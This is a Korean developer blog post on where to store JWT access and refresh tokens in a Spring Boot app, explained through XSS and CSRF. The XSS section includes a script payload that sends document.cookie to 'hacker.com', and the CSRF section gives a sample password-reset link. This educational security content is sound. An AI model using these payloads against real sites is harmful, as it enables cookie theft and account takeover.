[Spring Boot] JWT - Access Token, Refresh Token을 어디에 저장할까? feat. XSS, CSRF

Access Token은 private value 에 Refresh Token은 HttpOnly 쿠키에 저장한다.

Access Token, Refresh Token의 저장위치를 선택한 과정을 XSS, CSRF 와 연관하여 설명하려고 한다.

Access Token 저장 위치

프론트엔드의 private value에 저장한다.

즉, 가장 안전한 곳에 저장을 하는 것이다.

새로고침을 할때마다 초기화 되는 문제가 있고, 만료시간이 짧다는 단점이 있다.

그래서 사용하는 것이 RefreshToken이다.

Refresh Token 저장 위치

브라우저의 HttpOnly쿠키에 저장한다.

쿠키는 HttpOnly를 사용하여 XSS 공격을 미리 방지한다.

왜 HttpOnly쿠키에 Refresh Token을 저장할까?

HttpOnly쿠키 <- Refresh Token

먼저 쿠키를 HttpOnly로 지정하면 Script에서 Cookie를 읽어 올 수 없다.

그리고 Refresh Token의 기능을 생각해보자!

 

Refresh Token의 역할은 Access Token을 발급하는 역할으로 한정되어 있다.

그래서 서버에서는 새로운 토큰을 발급하기만 할 뿐, 실제로 데이터베이스에서는 변화가 없다.

 

결정적으로 CSRF 공격으로는 발급받은 엑세스 토큰을 수령할 방법이 없다.

CSRF 공격을 통해 공격을 우회하려면 요청 보내는 클라이언트의 주소를 이용하는 것이다.

하지만 이 방식의 단점은 요청을 보낸 쪽의 주소를 이용했으므로 서버는 그 이용된 주소에 응답을 보낼 거싱라는 점이다.

즉! 그 응답에 담긴 엑세스 토큰을 탈취할 기회가 없다는 것이다.

 

XSS 공격이란

보안이 취약한 웹사이트에 악의적인 스크립트를 넣어놓고 사용자가 이 스크립트를 읽게끔 유도하여 유저의 정보를 빼내는 공격 기법이다.

보통 웹사이트 게시글에 악의적인 스크립트를 넣어 유저가 게시글에 들어가게끔 유도하게 하여 공격한다.

예시

먼저 공격할 서버의 게시글에 아래와 같은 태그를 넣고 누르게끔 유도하면 javascript가 실행되는 지 확인한다.

<script>alert(0)</script>

위 코드가 성공적으로 동작을 한다면, 공격자의 서버로 쿠키를 탈취하기 위해 다음과 같이 코드를 작성해볼 수 있다.

<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

CSRF 공격이란?

웹 애플리케이션 취약점 중 하나로 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 해서 특정 웹페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 만드는 공격 방법이다.

공격할 사이트 분석 -> 공격 가능 패턴을 찾음 -> 사용자가 해당 링크를 염 -> 공격 완료

예시

만일, A라는 사이트의 사용자가 개인 비밀번호 변경을 하는 주소 패턴이 http://example.com/user.do?cmd=user_passwd_change&user=admin&newPwd=1234 라고 한다면 이러한 링크를 사용자의 메일로 보내는데, 만약 사용자가 메일을 읽게 되면 해당 사용자의 패스워드가 1234로 초기화 된다.
예를 들면 나무위키의 경우 https://namu.wiki/member/logout와 같은 코드를 넣어주면 해당 문서를 볼 경우 로그아웃이 된다. 이는 나무위키뿐만이 아닌 대부분의 사이트의 문제이다.